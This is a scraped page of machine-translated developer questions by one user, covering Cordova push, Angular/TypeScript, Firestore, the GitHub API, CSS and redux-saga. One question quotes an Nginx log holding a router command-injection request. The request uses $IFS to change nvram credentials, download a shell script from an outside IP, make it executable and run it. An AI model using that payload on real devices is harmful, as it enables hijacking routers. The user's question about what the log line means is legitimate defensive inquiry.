小编uks*_*ksz的帖子

解析CorodvaPush Ionic:Android在后台应用时不会显示通知

我的插件有问题.当我在应用程序中,并且我通过Parse发送通知时,我会收到一条带有该消息的警报(这可以按预期工作).但是,当应用程序在后台时,手机上不会显示任何内容.以下是我如何使用插件,以及如何处理通知:

var gmcId = "xxxxxxx";
var androidConfig = {
  senderID: gmcId
};

document.addEventListener("deviceready", function(){
  $cordovaPush.register(androidConfig).then(function(result) {
    console.log("result: " + result);
  }, function(err) {
    // Error
  })

  $rootScope.$on('$cordovaPush:notificationReceived', function(event, e) {


switch( e.event )
{
  case 'registered':
    if ( e.regid.length > 0 )
    {

      // Your GCM push server needs to know the regID before it can push to this device
      // here is where you might want to send it the regID for later use.
      console.log("regID = " + e.regid); …
Run Code Online (Sandbox Code Playgroud)

android parse-platform ionic-framework ionic

7
推荐指数
1
解决办法
412
查看次数

我应该使用tsd还是打字?

我想知道Angular团队的推荐做法是什么?我无法在文档中的任何地方找到它,我想知道两者之间有什么区别.任何见解都非常受欢迎!

typescript tsd angular

7
推荐指数
2
解决办法
4703
查看次数

批量设置与合并选项

是否有与使用merge选项设置的javascript对应的批处理方法?

我正在看文件,但在这上面找不到任何东西.如果没有,目前批量合并项目的官方方法是什么?

firebase google-cloud-firestore

7
推荐指数
1
解决办法
1278
查看次数

TypeScript + AngularJS v1:将角度工厂重写为TypeScript

我想知道如何将以下工厂重写为TypeScript代码.这是原始代码:

app.factory('errorInterceptor', function ($q) {
    return {
        responseError: function (response) {
            console.error("Error: " + response.statusText);
            return $q.reject(response);
        }
    }
});
Run Code Online (Sandbox Code Playgroud)

到目前为止,我已经尝试了以下内容:

 export class errorInterceptor {
    constructor(private $q:ng.IQService) {

    }

    public responseError(response:any){
        console.error("Error: " + response.statusText);

        return this.$q.reject(response);
    }

    public static getFactory(){
        return  errorInterceptor;
    }
}

app.factory('errorInterceptor',errorInterceptor.getFactory());
Run Code Online (Sandbox Code Playgroud)

但是我收到以下错误:

Provider 'errorInterceptor' must return a value from $get factory method.
Run Code Online (Sandbox Code Playgroud)

有任何想法吗?

interceptor angularjs typescript angularjs-factory

6
推荐指数
1
解决办法
260
查看次数

使用去抖动进行异步表单验证?

我想知道如何在异步验证器上实现去抖时间.

我有以下内容:

...
password: ['',Validators.compose([Validators.required, this.passwordValid])]
...
Run Code Online (Sandbox Code Playgroud)

哪里:

passwordValid(control:Control):{ [key: string]: any; } {
    return new Promise(resolve => {
        this._http.post('/passwordCheck', control.value)
            .subscribe(
                success=>{
                    resolve(null);
                },
                error=>{
                    resolve({passwordValid: false})
                }
            )
    })
}
Run Code Online (Sandbox Code Playgroud)

但是现在,每次击键都会触发验证.我需要添加去抖功能.我怎样才能做到这一点?

angular2-forms angular

6
推荐指数
1
解决办法
2338
查看次数

Nginx日志中的警告,需要说明

我在Nginx的日志中有以下行:

2016/11/03 02:20:20 [warn] 30232#0: *372 using uninitialized "year" variable while logging request, client: 104.130.140.75, server: , request: "GET /cgi-bin/;nvram$IFS\set$IFS\http_passwd;nvram$IFS\set$IFS\http_username;nvram$IFS\commit;sleep$IFS\2;cd$IFS\/tmp;wget$IFS\http:\/\/104.130.140.75\/h\/wrt\/ugww.sh;chmod$IFS\777$IFS\/tmp/ugww.sh;/bin/sh$IFS\/tmp/ugww.sh HTTP/1.0 ", host: "XX.XX.XX.XXX:80"
Run Code Online (Sandbox Code Playgroud)

主机是我的IP地址。

你能解释一下发生了什么吗?

nginx

6
推荐指数
1
解决办法
614
查看次数

Order by with where 不等式限制 Firestore

假设我有以下简单的查询whereorderBylimit,这将返回我最近更新的公开个人资料(因此where)(因此orderBy)。

db.collection('profile')
   .where('public_profile', '==', true)
   .orderBy('updated_at', 'desc')
   .limit(1)
   .onSnapshot(function(doc) {
        ...
   });
Run Code Online (Sandbox Code Playgroud)

现在,我想添加一些额外的逻辑,这意味着我只想显示低于某种级别的配置文件。当我执行以下操作时:

db.collection('profile')
   .where('public_profile', '==', true)
   .orderBy('updated_at', 'desc')
   .where('level', '<=', 5)
   .limit(1)
   .onSnapshot(function(doc) {
        ...
   });
Run Code Online (Sandbox Code Playgroud)

我得到以下错误:

查询无效。您在字段 'talent.level' 上有一个带有不等式(lessThan、lessThanOrEqual、greaterThan 或 GreaterThanOrEqual)的 where 过滤器,因此您还必须使用 'level' 作为您的第一个 queryOrderedBy 字段,但您的第一个 queryOrderedBy 当前位于字段 'updated_at ' 反而。

据我了解,我需要添加额外的orderBy,给我以下内容:

db.collection('profile')
   .where('public_profile', '==', true)
   .where('level', '<=', 5)
   .orderBy('level', 'desc')
   .orderBy('updated_at', 'desc')
   .limit(1)
   .onSnapshot(function(doc) {
        ...
   });
Run Code Online (Sandbox Code Playgroud)

但是,这给我带来了错误的结果:它不会返回级别低于或等于 5 的最近更新的公开资料。它返回最高级别的资料中最近更新的公开资料.

大家有没有发现类似的问题?如果是,您的解决方案是什么?

javascript firebase google-cloud-firestore

6
推荐指数
1
解决办法
287
查看次数

GitHub Api:用户关注者 - 分页?

我正在玩一些Javascript和Github API,我遇到了一个问题.

每当我尝试呼叫任何拥有粉丝的用户的关注者时,我从服务器获得的回调只显示30个用户.例如:

https://api.github.com/users/vojtajina/followers - 30粉丝

和原始网站的用户关注者:

https://github.com/vojtajina/followers - 1,039粉丝

我的问题是 - 发生了什么?来自服务器的回调中没有"下一页".如何在回调中获得他/她的所有粉丝?

github github-api

5
推荐指数
1
解决办法
892
查看次数

chrome上的字体渲染问题

我在Windows Chrome上遇到字体渲染问题.我正在使用Google Lato字体,大小为10px,字体重量为300.以下是在Mac和Windows上呈现的比较:

Chrome Windows:

在此输入图像描述

Chrome Mac:

在此输入图像描述

如您所见,Windows上的字体很难阅读.我试过用:

-webkit-font-smoothing: antialiased;
Run Code Online (Sandbox Code Playgroud)

但它没有奏效.有想法该怎么解决这个吗?

这是一个例子:https://jsfiddle.net/Lcj9yxuo/

css windows google-chrome

5
推荐指数
1
解决办法
615
查看次数

将 firebase 与 redux-saga 连接的正确方法是什么?

我正在构建 react-native 应用程序,我在其中使用react-native-firebaseredux-saga。这是我使用 的第一个项目redux-saga,因此我正在学习。到目前为止,我使用以下方法对用户进行了身份验证:

import firebase from 'react-native-firebase';

function* loginEmlPwdSaga(action) {
  try {
    const auth = firebase.auth();
    const data = yield call(
      [auth, auth.signInAndRetrieveDataWithEmailAndPassword],
      action.email,
      action.password,
    );
    yield put(loginSuccess(data));
  } catch (error) {
    yield put(loginFail(error));
  }
}
Run Code Online (Sandbox Code Playgroud)

但是,现在我被困在我想订阅该集合的地方。在react-native-firebase我将使用以下内容:

firebase.firestore().collection('users').onSnapshot(...)
Run Code Online (Sandbox Code Playgroud)

我不确定在redux-saga. 你能告诉我我可以在未来使用 onSnapshots(可测试的)的模式吗?

firebase react-native redux redux-saga

5
推荐指数
1
解决办法
2755
查看次数